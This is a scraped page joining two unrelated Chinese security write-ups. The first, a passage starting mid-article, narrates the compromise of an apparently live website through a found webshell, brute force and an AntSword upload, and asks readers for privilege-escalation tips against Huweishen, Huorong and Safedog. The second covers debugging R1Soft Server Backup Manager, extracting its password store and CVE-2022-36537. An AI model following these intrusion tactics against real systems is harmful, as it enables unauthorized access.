但是我始终觉得这个wolsoowpppps目录有问题,fuzzing一下,fuzzing出了web,然后再扫web,好家伙,出了一个temp。

php访问,一个大马。

这不快结素了吗?

图片

然后爆破,最终,成功爆破进来,上传蚁键,拿下。

这个大马看起也很熟悉呀。

图片

但是hws还是真的猛。

命令无法执行,用了插件,还有那个.so的那个方法,都没有弄出来。

图片

这里感谢一下黄哥,他说的护卫神主要是asp的,传一个冰蝎的马就可以了。

图片

然后想了很多办法,这个权限提不下来,我相信xz的大佬应该会知道吧,我说一说情况。

目前只有d盘的查看修改权限,exe无法执行,意味着Ms系列用不起。

土豆一族传不上去。

iis秒不掉。

杀软是火绒,护卫神,安全狗。

向上cs的,但是dll和Mshta执行就卡死,目前暂时不知道怎么提权,想继续扩展,但是提权这一方面接触的少,还望先知的给位表哥们给给思路。


0x04 拿下后台

最后,我想了想,那个大马是怎么传上去的。
对方可能也是注入起手->在一处找到了xss(我也找到了,但是由于客服是10月份下线的,已经换了站了,导致我的xss一直打不过来)->找到后台->由于是tp3.2.3的站,后台的rce(tp3.2.3缓存getshell)->上大马。
这是xss的位置

图片

这个是后台

图片

这个站虽然拿的比价坎坷,但是思路都是很简单的,还是多学习吧。




转载于原文链接: https://mp.weixin.qq.com/s/qNdLNaPNK_485uAPILQXRQhttps://xz.aliyun.com/t/8491

0x00 前言Server Backup Manager(SBM)是一種快速、經濟且高性能的備份軟件,適用於物理和虛擬環境中的Linux和Windows服務器。本文將要介紹Server Backup Manager漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

調試環境搭建

用戶數據庫文件提取

CVE-2022-36537簡要介紹

0x02 環境搭建安裝參考資料:http://wiki.r1soft.com/display/ServerBackupManager/Install+and+Upgrade+Server+Backup+Manager+on+Debian+and+Ubuntu.html

參考資料提供了兩種安裝方法,但是我在測試過程中均遇到了缺少文件/etc/init.d/cdp-server的錯誤

這裡改用安裝舊版本的Server Backup Manager,成功完成安裝,具體方法如下:

1.下載安裝包http://r1soft.mirror.iweb.ca/repo.r1soft.com/release/6.2.2/78/trials/R1soft-ServerBackup-Manager-SE-linux64-6-2-2.zip

1.png

web管理頁面有以下兩個:

http://127.0.0.1:8080

https://127.0.0.1:8443

0x03 調試環境搭建研究過程如下:

2.png 3.png

(6)

使用IDEA下斷點並配置遠程調試,遠程調試成功如下圖

下载.png0x04 用戶數據庫文件提取4.png 5.png 6.png 7.png

8.png 9.png

從以上代碼可以得出用戶口令的加密算法

(2)定位用戶創建的具體代碼實現位置

10.png 11.png 12.png 13.png 14.png 15.png 16.png

0x05 CVE-2022-36537簡要介紹漏洞分析文章:https://medium.com/numen-cyber-labs/cve-2022-36537-vulnerability-technical-analysis-with-exp-667401766746

文章中提到觸發RCE需要上傳一個帶有Payload的com.mysql.jdbc.Driver文件

這個操作只能利用一次,原因如下:

默認情況下,管理後台的的Database Driver頁面存在可以上傳的圖標,如下圖

17.png上傳後不再顯示可上傳的圖標,如下圖

18.png 19.png

0x06 小結本文介紹了在搭建Server Backup Manager調試環境過程中一些問題的解決方法,分析用戶數據庫文件提取的方法,給出檢測CVE-2022-36537的建議。